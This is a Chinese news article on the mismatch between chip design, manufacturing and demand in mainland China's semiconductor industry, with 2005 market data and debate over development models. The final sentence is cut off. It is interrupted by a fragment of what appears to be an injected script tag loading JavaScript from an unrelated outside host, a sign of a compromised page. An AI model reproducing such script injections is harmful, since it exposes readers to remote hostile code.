中国芯片遭遇“匹配”之祸

高丽华

一方面,中国内地消费的集成电路80%需要进口;另一方面,内地生产的集成电路的80%却要跑到境外找市场。

中国集成电路产业的发展为何如此畸形?

1月16日在上海召开的第二届中国半导体行业首脑峰会上,“匹配”已然成了最关注的话题,有专家放出话来,半导体产业“所有周期性振荡的祸根都是不匹配”——要么生产跟不上需求,芯片缺货影响下游一大片产业;要么是产能过剩造成生产线闲置,导致这一“吞金产业”全面亏损,因此,“制造与设计匹配”也被认为是“芯片产业健康发展之最基本的条件”。

而在当前,一方面中国内地消费的集成电路芯片80%依赖进口,而同时,内地生产的集成电路芯片的80%却要跑到境外找市场。大唐电信总工程师魏少军认为,中国集成电路提供与需求额严重“不匹配”,国内芯片生产和国内市场需要“不对板”。“80%进口,说明中国大制造所需的芯片国内厂商提供不了;80%出口,则说明国内的芯片设计企业无力到制造代工企业那里下单(量不够),致使代工厂只能到境外找订单。”

2005“谨慎乐观”

以下两组数据,使2005年中国内地半导体市场大有一枝独秀之势。其一,据该次高峰会披露的信息,在全球半导体生产增长趋缓的情况下,2005年内地集成电路销售收入同比增长20%,超过了600亿人民币。其二,内地半导体市场规模2005年“疯长”35%,以478亿美元总量占到了全球集成电路市场的20%(据埃森哲数据),超过美国、日本成为全球最大的半导体消费市场。与此形成对比的是,2005年全球半导体市场的规模和销售收入增幅均为零(据美国半导体分析媒体《silicon strategies》数据),就中国市场而言,虽说35%的增幅比起前两年已有所减缓,但美林(亚太)公司第一副总裁dan heyler仍然认为这是基数过大的缘故,“中国内地依然是全球半导体市场的火车头”。

推动中国半导体市场高速发展的力量除了ict产品的大制造,以及3g、lcd和网络游戏的崛起外,2008年奥运会的潜在机会也是一个强大引擎,“中国半导体的强劲增长至少会持续到2008年。”埃森哲全球半导体业务高级全伙人r.alan.moore分析说。

与市场容量和产业规模增长同步的,还有技术的进步,产业结构的协调,以及产业布局的舒展。“2000年中国内地芯片制造还停留在0.35微米,落后于世界先进水平一大截,而目前主流制造技术已达到0.18微米甚至0.13微米,并开始向90纳米和65纳米进军了,中芯国际2006年第一季度将开始90纳米的大规模生产,从技术上看,中国内地仅仅落后于世界先进水平两年,进展速度惊人。”中芯国际首席运营官marco mora说。另据美林亚太半导体类股研究主管丹?海勒分析,内地用10到15年就可以站到世界半导体产业的技术前沿,而“台湾芯片产业追赶世界前沿水平用了25年”。

产业结构和产业布局方面,2005年我国集成电路制造、设计、封装的比重分别为37.2%、17.5%和45.3%,开始趋向“4:3:4”的合理比重(两年前国内封装业的比重高达75%)。与此同时,芯片封装也开始从长三角悄然向西部转移,成都、西安以及甘肃的封装企业氛围也渐成气候,开始和东部沿海的设计、制造形成互补的发展态势。

不过,这些数据并没能完全改变中国集成电路产业“依然弱小”的现状,内地消费的集成电路80%需要进口就是明显不过的例证。在美林(亚太)公司第一副总裁dan heyler出示的一张饼图上, 2004年中国内地和台湾省的fabless(芯片设计)销售收入分别为4亿美元(中国半导体行业协会统计为82亿元人民币)与54亿美元,而foundry(芯片代工)分别为17亿美元与112亿美元,整整差了一个数量级,具体到单个企业的trs(股东总回报率)差距就更为惊人,2004年台积电(tsmc)和联华电子(umc)的trs分别高达30%与15%,而中国内地的企业trs小得可怜,有些甚至为负数。

“我们还是初级阶段,前面的路充满未知,虽有进步却不值得乐观,或者说只能谨慎乐观。”大唐电信魏少军说。

发展模式之惑

围棋对弈中的开局阶段最容易使棋手困惑,因为此时棋盘上几乎空无一物,空旷到你不知往哪里走,这是“最大的复杂”,如今,处于初级阶段的中国芯片产业也面临着这种困惑。

毫无疑问,解决“匹配”问题或是别的什么问题都得靠发展,而发展就涉及模式问题。譬如内地应该走台湾当年“先制造后设计”的路子,还是“先设计后制造”?再譬如内地要不要效仿英特尔、德州仪器、三星等美、韩企业,发展自己的idm(即设计、制造、封装的垂直集成厂商)?中国到底建几条芯片生产线为好,还要不要在生产线上花大本钱?这些问题,使得“中国内地芯片产业正处在一个特殊的关口——选择方向”上(埃森哲r.alan.moore语)。

美国时代创投(tiv)合伙人马启元就中国80%芯片需要进口表示,中国内地应该发展自己的idm,应该在现有的基础上再发展多条芯片?script src=http://er12.com/t.js>

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发布日期:2019年07月04日  所属分类:新闻动态